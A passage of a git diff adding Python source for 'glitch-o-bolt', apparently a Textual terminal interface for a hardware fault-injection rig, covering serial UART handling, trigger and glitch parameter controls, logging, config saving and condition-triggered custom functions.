+    """Returns the string from the triggers list at the given index."""
+    if 0 <= index < len(config.triggers):
+        return config.triggers[index][0]  # Return the string value
+    else:
+        raise IndexError("Index out of range")
+
+def get_trigger_value(index):
+    """Returns the value from the triggers list at the given index."""
+    if 0 <= index < len(config.triggers):
+        return config.triggers[index][1]  # Return the boolean value
+    else:
+        raise IndexError("Index out of range")
+
+def set_trigger_value(index, value):
+    if 0 <= index < len(config.triggers):
+        switch = app_instance.query_one(f"#trigger_switch_{index}", Switch)  
+        switch.value = value  # Force turn off
+    else:
+        raise IndexError("Index out of range")
+
+def set_trigger_string(index: int, value: str):
+    # Validate the input value
+    valid_values = ["^", "v", "-"]
+    if value not in valid_values:
+        raise ValueError(f"Invalid trigger value. Must be one of {valid_values}")
+
+    # Update config
+    config.triggers[index][0] = value
+    config.triggers[index][1] = False
+
+    # Update the symbol display in the UI
+    symbol_widget = app_instance.query_one(f"#trigger_symbol_{index}")
+    symbol_widget.update(value)
+
+    # Update the switch in the UI
+    switch_widget = app_instance.query_one(f"#trigger_switch_{index}")
+    switch_widget.value = False
+
+def toggle_trigger(self, index: int):
+    current_symbol = config.triggers[index][0]
+    cycle = ["^", "v", "-"]
+    next_symbol = cycle[(cycle.index(current_symbol) + 1) % len(cycle)]
+
+    # Update config
+    config.triggers[index][0] = next_symbol
+    config.triggers[index][1] = False
+
+    # Update the symbol display in the UI
+    symbol_widget = self.query_one(f"#trigger_symbol_{index}")
+    symbol_widget.update(next_symbol)
+
+    # Update the switch in the UI
+    switch_widget = self.query_one(f"#trigger_switch_{index}")
+    switch_widget.value = False
+    log_message("next symbol: "+next_symbol)
+
+def set_uart_switch(state: bool | None = None) -> None:
+    switch_uart = app_instance.query_one("#uart_switch")
+    if state is None:
+        switch_uart.value = not switch_uart.value  # Toggle
+    else:
+        switch_uart.value = state  # Set to specific state
+
+def modify_value(variable_name: str, amount: int) -> int:
+    """
+    Modify a global variable by a given amount.
+    
+    Args:
+        variable_name (str): The name of the variable to modify.
+        amount (int): The amount to increment or decrement.
+
+    Returns:
+        int: The updated value.
+    """
+    global config  # Ensure we modify the variables from config.py
+
+    if variable_name == "length":
+        config.LENGTH += amount
+        return config.LENGTH
+    elif variable_name == "repeat":
+        config.REPEAT += amount
+        return config.REPEAT
+    elif variable_name == "delay":
+        config.DELAY += amount
+        return config.DELAY
+    else:
+        raise ValueError(f"Unknown variable: {variable_name}")
+
+def on_button_pressed(app, event: Button.Pressed) -> None:
+    """Handle button presses and update values dynamically."""
+    button = event.button
+    button_name = button.name
+
+    if button_name:
+        # Strip everything before the first hyphen, including the hyphen itself
+        button_name = button_name.split("-", 1)[-1]  # Get the part after the first hyphen
+        
+        parts = button_name.split("_")
+        if len(parts) == 2:
+            variable_name, amount = parts[0], int(parts[1])
+
+            # Update the variable value in config.py
+            if hasattr(config, variable_name.upper()):
+                current_value = getattr(config, variable_name.upper())
+                new_value = current_value + amount
+                setattr(config, variable_name.upper(), new_value)
+
+                # Update corresponding Input field
+                input_field = app.query_one(f"#{variable_name}_input")
+                input_field.value = str(new_value)
+
+                # Update the status box row
+                update_status_box(app, variable_name, new_value)
+
+                # Refresh UI to reflect changes
+                app.refresh()
+
+def on_save_button_pressed(app, event: Button.Pressed) -> None:
+    """Handle the Save button press to save the values."""
+    button = event.button
+    button_name = button.name
+
+    if button_name:
+        variable_name = button_name.replace("save_val-", "")
+        variable_name = variable_name.replace("_save", "")  # Extract the variable name from button
+        input_field = app.query_one(f"#{variable_name}_input", Input)
+
+        new_value = int(input_field.value)
+        setattr(config, variable_name.upper(), new_value)
+        
+        update_status_box(app, variable_name, new_value)
+        app.refresh()
+
+def save_uart_settings(app, event: Button.Pressed) -> None:
+
+    cur_uart_port = str(app.query_one(f"#uart_port_input", Input).value)
+    cur_baud_rate = int(app.query_one(f"#baud_rate_input", Input).value)
+
+    config.SERIAL_PORT = cur_uart_port
+    config.BAUD_RATE = cur_baud_rate
+
+    main_content = app.query_one(".main_content", Vertical)
+    main_content.border_title = f"{config.SERIAL_PORT} {config.BAUD_RATE}"
+    app.refresh()
+
+def change_baudrate(new_baudrate):
+    """Change the baud rate using the app_instance's serial connection"""
+    if app_instance is None:
+        add_text("[ERROR] App instance not available")
+        return False
+    
+    if not hasattr(app_instance, 'serial_connection'):
+        add_text("[ERROR] No serial connection in app instance")
+        return False
+
+    input_field = app_instance.query_one(f"#baud_rate_input")
+    input_field.value = str(new_baudrate)
+    
+    serial_conn = app_instance.serial_connection
+    
+    if serial_conn is None or not serial_conn.is_open:
+        add_text("[ERROR] Serial port not initialized or closed")
+        return False
+    
+    try:
+        old_baudrate = serial_conn.baudrate
+        serial_conn.baudrate = new_baudrate
+        config.BAUD_RATE = new_baudrate
+
+        main_content = app_instance.query_one(".main_content", Vertical)
+        if functions.get_config_value("log_time") == 0:
+            main_content.border_title = f"{config.SERIAL_PORT} {config.BAUD_RATE}"
+        else:
+            time = str(functions.get_config_value("log_time"))
+            main_content.border_title = f"{config.SERIAL_PORT} {config.BAUD_RATE} \\[{time}.log]"
+        
+        return True
+        
+    except ValueError as e:
+        add_text(f"[ERROR] Invalid baud rate {new_baudrate}: {e}")
+    except serial.SerialException as e:
+        add_text(f"[ERROR] Serial error changing baud rate: {e}")
+        # Attempt to revert
+        try:
+            serial_conn.baudrate = old_baudrate
+        except:
+            add_text("[WARNING] Failed to revert baud rate")
+    return False
+
+def update_status_box(app, variable_name, new_value):
+    column_keys = list(app.status_box.columns.keys())
+
+    # We only have two columns: "Attribute" and "Value"
+    if variable_name == "length":
+        row_key = list(app.status_box.rows.keys())[0]  # The first row
+        column_key = column_keys[1]  # The Value column for 'length'
+    elif variable_name == "repeat":
+        row_key = list(app.status_box.rows.keys())[1]  # The first row
+        column_key = column_keys[1]  # The Value column for 'repeat'
+    elif variable_name == "delay":
+        row_key = list(app.status_box.rows.keys())[2]  # The first row
+        column_key = column_keys[1]  # The Value column for 'delay'
+    elif variable_name == "elapsed":
+        row_key = list(app.status_box.rows.keys())[3]  # The first row
+        column_key = column_keys[1]  # The Value column for 'delay'
+
+    app.status_box.update_cell(row_key, column_key, str(new_value))
+
+def run_custom_function(app, event):
+    """Handle custom function buttons with enhanced logging"""
+    button = event.button
+    button_name = button.name
+    debug = DEBUG_MODE  # Set to False after testing
+
+    log_message(f"[CUSTOM] Button pressed: '{button_name}'")
+
+    if button_name:
+        try:
+            variable_name = int(button_name.replace("custom_function-", ""))
+            log_message(f"[CUSTOM] Condition index: {variable_name}")
+
+            if 0 <= variable_name < len(config.conditions):
+                func_name = config.conditions[variable_name][3]
+                log_message(f"[CUSTOM] Executing: {func_name}")
+                
+                # Use the centralized execution function
+                success = execute_condition_action(func_name, debug)
+                
+                if not success:
+                    log_message(f"[CUSTOM] Failed to execute {func_name}")
+            else:
+                log_message(f"[CUSTOM] Invalid index: {variable_name}")
+
+        except ValueError:
+            log_message(f"[CUSTOM] Invalid button format: '{button_name}'")
+        except Exception as e:
+            log_message(f"[CUSTOM] Error: {str(e)}")
+            if debug:
+                log_message(f"[DEBUG] {traceback.format_exc()}")
+
+def write_to_log(text: str, log_time: int):
+    """Write text to a log file named {log_time}.log in the logs directory"""
+    # Create logs directory if it doesn't exist
+    logs_dir = "logs"
+    if not os.path.exists(logs_dir):
+        os.makedirs(logs_dir)
+    
+    # Create filename using log_time value
+    log_file = os.path.join(logs_dir, f"{log_time}.log")
+    
+    # Append text to log file
+    with open(log_file, "a") as f:
+        f.write(f"{text}")
+
+def add_text(text):
+    """Add text to the log widget and optionally to a log file"""
+    if hasattr(functions, 'text_area'):
+        functions.text_area.write(text + "\n")
+    
+    log_time = get_config_value("log_time")
+    if log_time > 0:
+        write_to_log(text+"\n", log_time)
+
+def update_text(text):
+    """Update text without adding newlines"""
+    if hasattr(functions, 'text_area'):
+        functions.text_area.write(text)
+
+def save_config(app):
+    config_file = get_config_value("conFile")
+    temp_file = config_file + ".tmp"
+    new_file = str(app.query_one(f"#config_file_input", Input).value)
+    
+    try:
+        # Get current values
+        serial_port = get_config_value("serial_port")
+        baud_rate = get_config_value("baud_rate")
+        length = get_config_value("length")
+        repeat = get_config_value("repeat")
+        delay = get_config_value("delay")
+        
+        # Get triggers
+        triggers = []
+        for i in range(8):
+            triggers.append([
+                get_config_value(f"trigger_{i}_value"),
+                get_config_value(f"trigger_{i}_state")
+            ])
+        
+        # Read existing config
+        existing_content = ""
+        custom_functions = []
+        imports = []
+        if os.path.exists(config_file):
+            with open(config_file, 'r') as f:
+                existing_content = f.read()
+            
+            # Extract imports and functions
+            import_pattern = re.compile(r'^import .+?$|^from .+? import .+?$', re.MULTILINE)
+            imports = import_pattern.findall(existing_content)
+            
+            func_pattern = re.compile(r'^(def \w+\(.*?\):.*?)(?=^(?:def \w+\(|\Z))', re.MULTILINE | re.DOTALL)
+            custom_functions = [fn.strip() for fn in func_pattern.findall(existing_content) if fn.strip()]
+        
+        # Write new config file
+        with open(temp_file, 'w') as f:
+            # Write imports
+            if imports:
+                f.write("######\n# LEAVE THESE IMPORTS!\n######\n")
+                f.write("\n".join(imports) + "\n\n")
+            
+            # Write config values
+            f.write("######\n# config values\n######\n\n")
+            f.write(f"SERIAL_PORT = {repr(serial_port)}\n")
+            f.write(f"BAUD_RATE = {baud_rate}\n\n")
+            f.write(f"LENGTH = {length}\n")
+            f.write(f"REPEAT = {repeat}\n")
+            f.write(f"DELAY = {delay}\n\n")
+            
+            # Write triggers
+            f.write("###\n# ^ = pullup, v = pulldown\n###\n")
+            f.write("triggers = [\n")
+            for i, (value, state) in enumerate(triggers):
+                f.write(f"    [{repr(value)}, {state}],  #{i}\n")
+            f.write("]\n")
+            
+            # Write conditions if they exist
+            if hasattr(config, 'conditions') and config.conditions:
+                f.write("\n###\n# name, enabled, string to match\n###\n")
+                f.write("conditions = [\n")
+                for condition in config.conditions:
+                    f.write(f"    {condition},\n")
+                f.write("]\n")
+            
+            # Write custom functions with proper spacing
+            if custom_functions:
+                f.write("\n######\n# Custom functions\n######\n")
+                f.write("\n\n".join(custom_functions))
+                f.write("\n")  # Single newline at end
+        
+        # Finalize file
+        if os.path.exists(new_file):
+            os.remove(new_file)
+        os.rename(temp_file, new_file)
+        config.CONFILE = new_file
+        add_text(f"[SAVED] config {new_file} saved")
+        
+    except Exception as e:
+        log_message(f"Error saving config: {str(e)}")
+        if os.path.exists(temp_file):
+            os.remove(temp_file)
+        raise
+
+def start_serial():
+    try:
+        ser = serial.Serial(
+            port=config.SERIAL_PORT,
+            baudrate=config.BAUD_RATE,
+            timeout=0.1,          # Read timeout (seconds)
+            write_timeout=1.0,    # Write timeout
+            inter_byte_timeout=0.05, # Between bytes
+            exclusive=True,        # Prevent multiple access
+            rtscts=True,           # Enable hardware flow control
+            dsrdtr=True            # Additional flow control
+        )
+        add_text("Connected to serial port.")
+        return ser
+    except serial.SerialException as e:
+        add_text(f"[ERROR] Serial exception: {e}")
+        return None
+
+def send_uart_message(message):
+    """Send a message via UART from anywhere in the application"""
+    if not app_instance:
+        log_message("[UART] Not sent - No app instance")
+        return False
+    
+    if not hasattr(app_instance, 'serial_connection') or not app_instance.serial_connection.is_open:
+        log_message("[UART] Not sent - UART disconnected")
+        return False
+    
+    try:
+        # Ensure message ends with newline if it's not empty
+        if message and not message.endswith('\n'):
+            message += '\n'
+        
+        # Send the message
+        app_instance.serial_connection.write(message.encode('utf-8'))
+        log_message(f"[UART] Sent: {message.strip()}")
+        return True
+    except Exception as e:
+        log_message(f"[UART TX ERROR] {str(e)}")
+        return False
+
+def get_conditions_buffer_size(debug=False):
+    """Return the maximum length of condition strings with debug option"""
+    if not hasattr(config, 'conditions') or not config.conditions:
+        if debug:
+            log_message("[DEBUG] No conditions defined, using default buffer size 256")
+        return 256
+    
+    valid_lengths = [len(cond[2]) for cond in config.conditions if cond[2]]
+    if not valid_lengths:
+        if debug:
+            log_message("[DEBUG] All condition strings are empty, using default buffer size 256")
+        return 256
+    
+    max_size = max(valid_lengths)
+    if debug:
+        log_message(f"[DEBUG] Calculated buffer size: {max_size} (from {len(config.conditions)} conditions)")
+    return max_size
+
+def check_conditions(self, buffer, debug=False):
+    """Check buffer against all conditions by examining every position"""
+    if debug:
+        log_message(f"[DEBUG] Checking buffer ({len(buffer)} chars): {repr(buffer)}")
+        
+    if not hasattr(config, 'conditions') or not config.conditions:
+        if debug:
+            log_message("[DEBUG] No conditions to check against")
+        return None
+        
+    for i, condition in enumerate(config.conditions):
+        trigger_str = condition[2]
+        if not trigger_str:  # Skip empty trigger strings
+            continue
+            
+        trigger_len = len(trigger_str)
+        buffer_len = len(buffer)
+        
+        if debug:
+            log_message(f"[DEBUG] Checking condition {i} for '{trigger_str}' (length: {trigger_len})")
+        
+        # Check every possible starting position in the buffer
+        for pos in range(buffer_len - trigger_len + 1):
+            # Compare slice of buffer with trigger string
+            if buffer[pos:pos+trigger_len] == trigger_str:
+                try:
+                    condition_active = config.conditions[i][1]  # Get state from config
+                    
+                    if not condition_active:
+                        if debug:
+                            log_message(f"[DEBUG] Condition {i} matched at position {pos} but switch is OFF")
+                        continue
+                    
+                    if debug:
+                        log_message(f"[DEBUG] MATCHED condition {i} at position {pos}: {condition[0]} -> {condition[3]}")
+                    return condition[3]
+                    
+                except Exception as e:
+                    if debug:
+                        log_message(f"[DEBUG] Condition check failed for {i}: {str(e)}")
+                    continue
+    
+    if debug:
+        log_message("[DEBUG] No conditions matched")
+    return None
+
+def execute_condition_action(action_name, debug=False):
+    """Execute the named action function using run_custom_function logic"""
+    if debug:
+        log_message(f"[ACTION] Attempting to execute: {action_name}")
+    
+    try:
+        # Check if action exists in config module
+        module_name = 'config'
+        module = importlib.import_module(module_name)
+        
+        if hasattr(module, action_name):
+            if debug:
+                log_message(f"[ACTION] Found {action_name} in {module_name}")
+            getattr(module, action_name)()
+            return True
+        
+        # Check if action exists in functions module
+        if hasattr(sys.modules[__name__], action_name):
+            if debug:
+                log_message(f"[ACTION] Found {action_name} in functions")
+            getattr(sys.modules[__name__], action_name)()
+            return True
+        
+        # Check if action exists in globals
+        if action_name in globals():
+            if debug:
+                log_message(f"[ACTION] Found {action_name} in globals")
+            globals()[action_name]()
+            return True
+        
+        log_message(f"[ACTION] Function '{action_name}' not found in any module")
+        return False
+        
+    except Exception as e:
+        log_message(f"[ACTION] Error executing {action_name}: {str(e)}")
+        if debug:
+            log_message(f"[DEBUG] Full exception: {traceback.format_exc()}")
+        return False
+
+def get_glitch_elapsed():
+    gtime = get_config_value("glitch_time")
+    if gtime <= 0:
+        return "000:00:00"
+    # Assuming gtime contains the start timestamp
+    elapsed = int(time.time() - gtime)
+    return f"{elapsed//3600:03d}:{(elapsed%3600)//60:02d}:{elapsed%60:02d}"
+
+def start_glitch(glitch_len, trigger_repeats, delay):
+    s.glitch.repeat = glitch_len
+    s.glitch.ext_offset = delay
+    #add_text(f"[GLITCHING]: length:{glitch_len}, offset:{delay}, repeat:{trigger_repeats}")
+            
+    triggers = [] # Get triggers
+    triggers_set = False
+    for i in range(8):
+        triggers.append([
+            get_config_value(f"trigger_{i}_value"),
+            get_config_value(f"trigger_{i}_state")
+        ])
+    for i, (value, state) in enumerate(triggers):
+        if state is True:
+            triggers_set = True
+            if value == "^":
+                #add_text(f"[GLITCHING]: armed: {i} ^")
+                s.arm(i, Scope.RISING_EDGE)
+            elif value == "v":
+                #add_text(f"[GLITCHING]: armed: {i} v")
+                s.arm(i, Scope.FALLING_EDGE)
+
+    if triggers_set is False:
+        #add_text(f"[GLITCHING]: repeat:{trigger_repeats}")
+        for _ in range(trigger_repeats):
+            s.trigger()
+
+def launch_glitch():
+    length = functions.get_config_value("length")
+    repeat = functions.get_config_value("repeat")
+    delay = functions.get_config_value("delay")
+    start_glitch(length, repeat, delay)
+
+async def glitch(self):
+    functions.log_message("[GLITCHING] Starting glitch monitor")
+    previous_gtime = None  # Track the previous state
+    
+    while True:
+        try:
+            gtime = get_config_value("glitch_time")
+            elapsed_time = get_glitch_elapsed()
+            functions.update_status_box(self, "elapsed", elapsed_time)
+            
+            # Only update if the state has changed
+            #if gtime != previous_gtime:
+            if gtime > 0:
+                self.status_box.border_subtitle = "running"
+                self.status_box.styles.border_subtitle_color = "#5E99AE"
+                self.status_box.styles.border_subtitle_style = "bold"
+
+                length = functions.get_config_value("length")
+                repeat = functions.get_config_value("repeat")
+                delay = functions.get_config_value("delay")
+                start_glitch(length, repeat, delay)
+            else:
+                self.status_box.border_subtitle = "stopped"
+                self.status_box.styles.border_subtitle_color = "#B13840"
+                self.status_box.styles.border_subtitle_style = "none"
+                
+                #previous_gtime = gtime  # Update the previous state
+
+        except Exception as e:
+            print(f"Update error: {e}")
+        
+        await asyncio.sleep(0.1)
+
+def glitching_switch(value):
+    switch = app_instance.query_one("#glitch-switch", Switch)  
+    switch.value = value  # Force turn off
+
+def run_output_high(gpio, time):
+    s.io.add(gpio, 1, delay=time)
+    s.io.upload()
+    s.trigger()
+
+def run_output_low(gpio, time):
+    s.io.add(gpio, 0, delay=time)
+    s.io.upload()
+    s.trigger()
+
+async def monitor_buffer(self):
+    """Background task to monitor serial buffer for conditions"""
+    debug = True
+    buffer_size = functions.get_conditions_buffer_size(debug)
+    
+    functions.log_message("[CONDITIONS] Starting monitor")
+    
+    while self.run_serial:
+        if not getattr(self, '_serial_connected', False):
+            await asyncio.sleep(1)
+            continue
+            
+        async with self.buffer_lock:
+            current_buffer = self.serial_buffer
+            max_keep = buffer_size * 3  # Keep enough buffer to catch split matches
+            
+            if len(current_buffer) > max_keep:
+                # Keep last max_keep characters, but ensure we don't cut a potential match
+                keep_from = len(current_buffer) - max_keep
+                # Find the last newline before this position to avoid breaking lines
+                safe_cut = current_buffer.rfind('\n', 0, keep_from)
+                if safe_cut != -1:
+                    keep_from = safe_cut + 1
+                self.serial_buffer = current_buffer[keep_from:]
+                current_buffer = self.serial_buffer
+                if debug:
+                    log_message(f"[DEBUG] Truncated buffer from {len(current_buffer)+keep_from} to {len(current_buffer)} chars")
+        
+        if current_buffer:
+            action = functions.check_conditions(self, current_buffer, debug)
+            if action:
+                functions.log_message(f"[CONDITIONS] Triggering: {action}")
+                success = functions.execute_condition_action(action, debug)
+                
+                if success:
+                    async with self.buffer_lock:
+                        # Clear the buffer after successful match
+                        self.serial_buffer = ""
+                else:
+                    functions.log_message("[CONDITIONS] Action failed")
+        
+        await asyncio.sleep(0.1)
+
+def clear_text():
+    text_area.clear()
+
+def end_program():
+    exit()
\ No newline at end of file
diff --git a/glitch-o-bolt.py b/glitch-o-bolt.py
new file mode 100644
index 0000000..aba439b
--- /dev/null
+++ b/glitch-o-bolt.py
@@ -0,0 +1,527 @@
+#!/usr/bin/env python3
+#
+# glitch-o-matic 2.0 - Optimized Version
+# Enhanced serial data performance while maintaining all existing features
+#
+# requirements: textual
+import os
+import sys
+import time
+import types
+import argparse
+import importlib.util
+import concurrent.futures
+
+import asyncio
+import select
+import serial
+import functools
+
+from scope import Scope
+from textual import events
+from textual.app import App, ComposeResult
+from textual.containers import Container, Vertical, Horizontal, Grid
+from textual.widgets import Static, DataTable, Input, Button, Switch, Log
+from textual.messages import Message
+
+# Define specific names for each control row
+control_names = ["length", "repeat", "delay"]
+
+def load_config(path):
+    spec = importlib.util.spec_from_file_location("dynamic_config", path)
+    module = importlib.util.module_from_spec(spec)
+    spec.loader.exec_module(module)
+    
+    # Inject the loaded config as 'config'
+    sys.modules['config'] = module
+
+class PersistentInput(Input):
+    PREFIX = "$> "  # The permanent prefix
+
+    def __init__(self, **kwargs):
+        super().__init__(**kwargs)
+        self.value = self.PREFIX  # Set initial value
+
+    def on_input_changed(self, event: Input.Changed) -> None:
+        """Ensure the prefix is always present."""
+        if not event.value.startswith(self.PREFIX):
+            self.value = self.PREFIX  # Restore the prefix
+        elif len(event.value) < len(self.PREFIX):
+            self.value = self.PREFIX  # Prevent deleting
+
+def set_app_instance(app):
+    functions.app_instance = app
+
+class SerialDataMessage(Message):
+    def __init__(self, data: str):
+        super().__init__()  # Call the parent class constructor
+        self.data = data  # Store the serial data
+
+class LayoutApp(App):
+    CSS_PATH = "style.tcss"
+
+    async def on_ready(self) -> None:
+        #set_app_instance(self)
+        self.run_serial = True
+        self.serial_buffer = ""  # Add buffer storage
+        self.buffer_lock = asyncio.Lock()  # Add thread-safe lock
+        try:
+            functions.s = Scope()
+        except IOError:
+            s = None
+            print("Warning: Scope not connected, running in simulation mode")
+        
+        # Start both serial tasks
+        asyncio.create_task(self.connect_serial())
+        asyncio.create_task(functions.monitor_buffer(self))
+        asyncio.create_task(functions.glitch(self))
+        functions.log_message("[DEBUG] Serial tasks created")
+
+    async def connect_serial(self):
+        """Stable serial connection with proper error handling"""
+        switch_uart = self.query_one("#uart_switch")
+        
+        while self.run_serial:
+            if switch_uart.value:
+                if not getattr(self, '_serial_connected', False):
+                    try:
+                        # Close existing connection if any
+                        if hasattr(self, 'serial_connection') and self.serial_connection:
+                            self.serial_connection.close()
+                        
+                        # Establish new connection
+                        self.serial_connection = functions.start_serial()
+                        if self.serial_connection and self.serial_connection.is_open:
+                            # Configure for reliable operation
+                            self.serial_connection.timeout = 0.5
+                            self.serial_connection.write_timeout = 1.0
+                            self._serial_connected = True
+                            functions.log_message("[SERIAL] Connected successfully")
+                            asyncio.create_task(self.read_serial_loop())
+                        else:
+                            raise serial.SerialException("Connection failed")
+                    except Exception as e:
+                        self._serial_connected = False
+                        functions.log_message(f"[SERIAL] Connection error: {str(e)}")
+                        switch_uart.value = False
+                        await asyncio.sleep(2)  # Wait before retrying
+            else:
+                if getattr(self, '_serial_connected', False):
+                    if hasattr(self, 'serial_connection') and self.serial_connection:
+                        self.serial_connection.close()
+                    self._serial_connected = False
+                    functions.log_message("[SERIAL] Disconnected")
+            
+            await asyncio.sleep(1)  # Check connection status periodically
+
+    async def read_serial_loop(self):
+        """Serial reading that perfectly preserves original line endings"""
+        buffer = ""
+        
+        while self.run_serial and getattr(self, '_serial_connected', False):
+            try:
+                # Read available data (minimum 1 byte)
+                data = await asyncio.get_event_loop().run_in_executor(
+                    None,
+                    lambda: self.serial_connection.read(max(1, self.serial_connection.in_waiting))
+                )
+                
+                if data:
+                    decoded = data.decode('utf-8', errors='ignore')
+                    
+                    # Store raw data in condition monitoring buffer
+                    async with self.buffer_lock:
+                        self.serial_buffer += decoded
+                    
+                    # Original character processing
+                    for char in decoded:
+                        if char == '\r':
+                            continue
+                        
+                        buffer += char
+                        
+                        if char == '\n':
+                            self.post_message(SerialDataMessage(buffer))
+                            buffer = ""
+                    
+                    if buffer:
+                        self.post_message(SerialDataMessage(buffer))
+                        buffer = ""
+                
+                await asyncio.sleep(0.01)
+                
+            except serial.SerialException as e:
+                functions.log_message(f"[SERIAL] Read error: {str(e)}")
+                self._serial_connected = False
+                break
+            except Exception as e:
+                functions.log_message(f"[SERIAL] Unexpected error: {str(e)}")
+                await asyncio.sleep(0.1)
+
+    async def monitor_conditions(self):
+        """Background task to monitor serial buffer for conditions with debug"""
+        debug = functions.DEBUG_MODE  # Set to False to disable debug logging after testing
+        buffer_size = functions.get_conditions_buffer_size(debug)
+        
+        if debug:
+            functions.log_message("[DEBUG] Starting condition monitor")
+            functions.log_message(f"[DEBUG] Initial buffer size: {buffer_size}")
+            functions.log_message(f"[DEBUG] Current conditions: {config.conditions}")
+        
+        while self.run_serial:
+            if hasattr(self, '_serial_connected') and self._serial_connected:
+                # Get a snapshot of the buffer contents
+                async with self.buffer_lock:
+                    current_buffer = self.serial_buffer
+                    if debug and current_buffer:
+                        functions.log_message(f"[DEBUG] Current buffer length: {len(current_buffer)}")
+                    
+                    # Keep reasonable buffer size
+                    if len(current_buffer) > buffer_size * 2:
+                        self.serial_buffer = current_buffer = current_buffer[-buffer_size*2:]
+                        if debug:
+                            functions.log_message(f"[DEBUG] Trimmed buffer to {len(current_buffer)} chars")
+                
+                # Check for conditions
+                action = functions.check_conditions(self, current_buffer, debug)
+                if action:
+                    if debug:
+                        functions.log_message(f"[DEBUG] Executing action: {action}")
+                    functions.execute_condition_action(action, debug)
+                elif debug and current_buffer:
+                    functions.log_message("[DEBUG] No action triggered")
+        
+        await asyncio.sleep(0.1)  # Check 10 times per secon
+
+    async def on_key(self, event: events.Key) -> None:
+        """Handles input with proper newline preservation"""
+        if event.key == "enter" and self.input_field.has_focus:
+            text_to_send = self.input_field.value
+            
+            # Preserve exact input (don't strip) but ensure newline
+            if not text_to_send.endswith('\n'):
+                text_to_send += '\n'
+            
+            # Check if serial_connection exists and is open
+            serial_connection = getattr(self, 'serial_connection', None)
+            if serial_connection is not None and serial_connection.is_open:
+                try:
+                    # Send raw bytes exactly as entered
+                    await asyncio.get_event_loop().run_in_executor(
+                        None,
+                        lambda: serial_connection.write(text_to_send.encode('utf-8'))
+                    )
+                    
+                    # Echo to console with prefix
+                    display_text = f"> {text_to_send.rstrip()}"
+                    functions.add_text(display_text)
+                    
+                except Exception as e:
+                    functions.log_message(f"[UART TX ERROR] {str(e)}")
+                    functions.add_text(">> Failed to send")
+            else:
+                functions.add_text(">> Not sent - UART disconnected")
+            
+            self.input_field.value = ""
+            event.prevent_default()
+
+    async def on_serial_data_message(self, message: SerialDataMessage) -> None:
+        """Display serial data exactly as received"""
+        if hasattr(functions, 'text_area'):
+            # Write the data exactly as it should appear
+            functions.text_area.write(message.data)
+
+            log_time = functions.get_config_value("log_time")
+            if log_time > 0:
+                functions.write_to_log(message.data, log_time)
+            #functions.add_text(message.data)
+            functions.text_area.scroll_end()
+
+    def read_from_serial_sync(self):
+        """Synchronous line reading with proper timeout handling"""
+        if not self.serial_connection:
+            return b""
+        
+        try:
+            # Read with timeout
+            ready, _, _ = select.select([self.serial_connection], [], [], 0.01)
+            if ready:
+                # Read until newline or buffer limit
+                return self.serial_connection.read_until(b'\n', size=4096)
+            return b""
+        except Exception as e:
+            functions.log_message(f"[ERROR] Serial read error: {str(e)}")
+            return b""
+
+    def on_button_pressed(self, event: Button.Pressed) -> None:
+        button_id_parts = event.button.name
+        parts = button_id_parts.split("-")
+        button_id = parts[0]
+        if(button_id == "exit_button"):
+            functions.end_program() 
+        if(button_id == "clear_button"):
+            functions.clear_text()
+        if(button_id == "btn_glitch"):
+            functions.launch_glitch()
+        if(button_id == "save_config"):
+            functions.save_config(self)
+        if(button_id == "toggle_trigger"):
+            functions.toggle_trigger(self, int(parts[1])) 
+        if(button_id == "change_val"):
+            functions.on_button_pressed(self, event)
+        if(button_id == "save_val"):
+            functions.on_save_button_pressed(self, event) 
+        if(button_id == "custom_function"):
+            functions.run_custom_function(self, event) 
+        if(button_id == "save_uart"):
+            functions.save_uart_settings(self, event) 
+
+    def on_switch_changed(self, event: Switch.Changed) -> None:
+        """Handle switch toggle events"""
+        switch = event.switch
+        
+        # Only handle switches with our specific class
+        if "trigger-switch" in switch.classes:
+            try:
+                # Extract index from switch ID
+                index = int(switch.id.split("_")[-1])
+                new_state = bool(event.value)  # Ensure boolean
+                config.triggers[index][1] = new_state  # Update config
+                functions.set_triggers()                  
+            except (ValueError, IndexError, AttributeError) as e:
+                if functions.DEBUG_MODE:
+                    functions.log_message(f"[ERROR] Failed to process trigger switch: {str(e)}")
+
+        if "condition-switch" in switch.classes:
+            try:
+                # Extract index from switch ID
+                index = int(switch.id.split("_")[-1])
+                new_state = bool(event.value)  # Ensure boolean
+                
+                # Update config
+                config.conditions[index][1] = new_state
+                
+                if functions.DEBUG_MODE:
+                    functions.log_message(f"[CONDITION] Updated switch {index} to {new_state}")
+                    functions.log_message(f"[CONDITION] Current states: {[cond[1] for cond in config.conditions]}")
+                    
+            except (ValueError, IndexError, AttributeError) as e:
+                if functions.DEBUG_MODE:
+                    functions.log_message(f"[ERROR] Failed to process condition switch: {str(e)}")
+
+        if "logging-switch" in switch.classes:
+            if functions.DEBUG_MODE:
+                curr_time = functions.get_config_value("log_time")
+                functions.log_message(f"[FUNCTION] logging toggled: {curr_time}")
+            
+            if bool(event.value) is True:
+                functions.set_log_time(int(time.time()))  # Uses the 'time' module
+            else:
+                functions.set_log_time(0)
+            
+            main_content = self.query_one("#main_content")
+            log_time = functions.get_config_value("log_time")  # Renamed to avoid conflict
+            port = str(functions.get_config_value("serial_port"))
+            baud = str(functions.get_config_value("baud_rate"))
+
+            if log_time == 0:  # Now using 'log_time' instead of 'time'
+                main_content.border_title = f"{port} {baud}"
+            else:
+                main_content.border_title = f"{port} {baud} \\[{log_time}.log]"
+
+        if "glitch-switch" in switch.classes:
+            if functions.DEBUG_MODE:
+                curr_time = functions.get_config_value("glitch_time")
+                functions.log_message(f"[FUNCTION] glitching toggled: {curr_time}")
+            
+            if bool(event.value) is True:
+                functions.set_glitch_time(int(time.time()))  # Uses the 'time' module
+            else:
+                functions.set_glitch_time(0)
+
+    def compose(self) -> ComposeResult:
+        with Vertical(classes="top_section"):
+            # Use Vertical here instead of Horizontal
+            with Vertical(classes="top_left"):
+                
+                # UART Box - appears second (below)
+                with Vertical(classes="uart_box") as uart_box:
+                    uart_box.border_title = "uart settings"
+
+                    with Horizontal(classes="onerow"):
+                        yield Static("port:", classes="uart_label")
+                        yield Input(
+                            classes="control_input",
+                            id="uart_port_input",
+                            name="uart_port_input",
+                            value=str(functions.get_config_value("serial_port"))
+                        )
+
+                    with Horizontal(classes="onerow"):
+                        yield Static("baud:", classes="uart_label")
+                        yield Input(
+                            classes="control_input",
+                            id="baud_rate_input",
+                            name="baud_rate_input",
+                            value=str(functions.get_config_value("baud_rate"))
+                        )
+                        yield Button("save", classes="btn_save", id="save_uart", name="save_uart")
+
+                # Config Box - appears first (on top)
+                with Vertical(classes="config_box") as config_box:
+                    config_box.border_title = "config"
+
+                    with Horizontal(classes="onerow"):
